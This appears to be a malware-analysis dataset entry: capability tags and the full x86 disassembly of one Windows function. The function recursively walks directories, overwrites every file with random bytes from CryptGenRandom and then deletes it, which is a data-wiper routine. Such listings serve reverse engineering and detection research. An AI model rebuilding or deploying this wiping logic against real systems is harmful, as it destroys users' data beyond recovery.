Function at 0x100079e0
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Generate random numbers via winapi
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x89c
mov eax, dword [0x1005f080]
xor eax, esp
mov dword [esp + 0x898], eax
push ebx
push esi
push edi
push 0x20a
lea eax, [esp + 0x694]
mov ebx, ecx
push 0
push eax
mov dword [esp + 0x18], ebx
call fcn.1002a4b0
push ebx
lea eax, [esp + 0x6a0]
push 0x105
push eax
call fcn.1002e59b
push 0x10057dc8
lea eax, [esp + 0x6ac]
push 0x105
push eax
call fcn.1002e5ff
add esp, 0x24
test eax, eax
je 0x10007a62
mov eax, 0xfffffffd
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x898]
xor ecx, esp
call fcn.10028524
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x694]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
jne 0x10007a95
or eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x898]
xor ecx, esp
call fcn.10028524
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x20]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x10007cdb
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test byte [esp + 0x20], 0x10
je 0x10007b3d
lea eax, [esp + 0x4c]
push 0x10057dd0
push eax
call fcn.10029c4e
add esp, 8
test eax, eax
jne 0x10007cc4
push 0x105
push eax
lea eax, [esp + 0x278]
push eax
call fcn.1002a4b0
push ebx
lea eax, [esp + 0x280]
push 0x105
push eax
call fcn.1002e59b
push 0x10057dd8
lea eax, [esp + 0x28c]
push 0x105
push eax
call fcn.1002e5ff
lea eax, [esp + 0x70]
push eax
lea eax, [esp + 0x298]
push 0x105
push eax
call fcn.1002e5ff
add esp, 0x30
lea ecx, [esp + 0x270]
call fcn.100079e0
jmp 0x10007cc4
push ebx
lea eax, [esp + 0x484]
push 0x105
push eax
call fcn.1002e59b
push 0x10057dd8
lea eax, [esp + 0x490]
push 0x105
push eax
call fcn.1002e5ff
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x49c]
push 0x105
push eax
call fcn.1002e5ff
add esp, 0x24
lea eax, [esp + 0x480]
push 0
push 0x80
push 3
push 0
push 7
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10007cc0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x10007cbd
push 0x400
call fcn.1002e590
mov esi, eax
add esp, 4
test esi, esi
je 0x10007cbd
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x10007cb4
push esi
push 0x400
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x10007c1b
push eax
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x10007cb4
xor edi, edi
mov dword [esp + 0x1c], 0
cmp dword [esp + 0x10], edi
jbe 0x10007c66
nop dword [eax + eax]
push 0
lea eax, [esp + 0x20]
push eax
push 0x400
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10007cae
add edi, dword [esp + 0x1c]
push esi
push 0x400
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x10007c94
cmp edi, dword [esp + 0x10]
jb 0x10007c30
push 0
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call edi
push esi
call fcn.1002e580
add esp, 4
lea eax, [esp + 0x480]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x10007cc0
push 0
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push esi
call fcn.1002e580
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10007cba
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.1002e580
add esp, 4
push ebx
call edi
mov ebx, dword [esp + 0xc]
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10007ab0
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x8a4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10028524
mov esp, ebp
pop ebp
ret